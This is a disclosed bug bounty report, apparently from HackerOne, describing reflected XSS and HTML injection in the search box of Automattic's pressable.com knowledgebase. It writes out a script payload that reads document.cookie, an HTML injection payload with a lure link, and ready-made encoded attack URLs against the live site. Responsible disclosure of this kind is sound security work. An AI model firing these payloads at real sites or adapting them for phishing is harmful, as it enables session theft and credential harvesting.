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Automattic · Report #1537149

XSS and HTML Injection on the pressable.com search box

Validstatus
mediumseverity
57upvotes
23 Aug 2022disclosed

How it was found

Summary:

Hi, I have found that search box on pressable.com is vulnerable for XSS attack and HTML Injection .

Steps To Reproduce:

  1. Visit https://pressable.com/knowledgebase/
  2. Put the payload on the search box.

XSS Payload: "><img src=x onerror=javascript:alert(document.cookie)>

HTML Injection Payload: <h1><font Color=red>Visit Our New WebSite </h1><h3><mark><a href="https://example.com">e x a m p l e . c o m </a></mark></h3>

3.XSS will be triggered /HTML Injection will be reflected.

Link with XSS Payload: https://pressable.com/?s=%22%3E%3Cimg+src%3Dx+onerror%3Djavascript%3Aalert%28document.cookie%29%3E&post_type=knowledgebase

Link with HTML Injection Payload: https://pressable.com/?s=%3Ch1%3E%3Cfont+Color%3Dred%3EVisit++Our++New++WebSite+%3C%2Fh1%3E%3Ch3%3E%3Cmark%3E%3Ca+href%3D%22https%3A%2F%2Fexample.com%22%3Ee+x+a+m+p+l+e+.+c+o+m+%3C%2Fa%3E%3C%2Fmark%3E%3C%2Fh3%3E&post_type=knowledgebase

Supporting Material/References:

POC Video Attached

Impact

Due to these vulnerabilities, attacker can easily divert victims to their malicious site and able to get credentials of victims.

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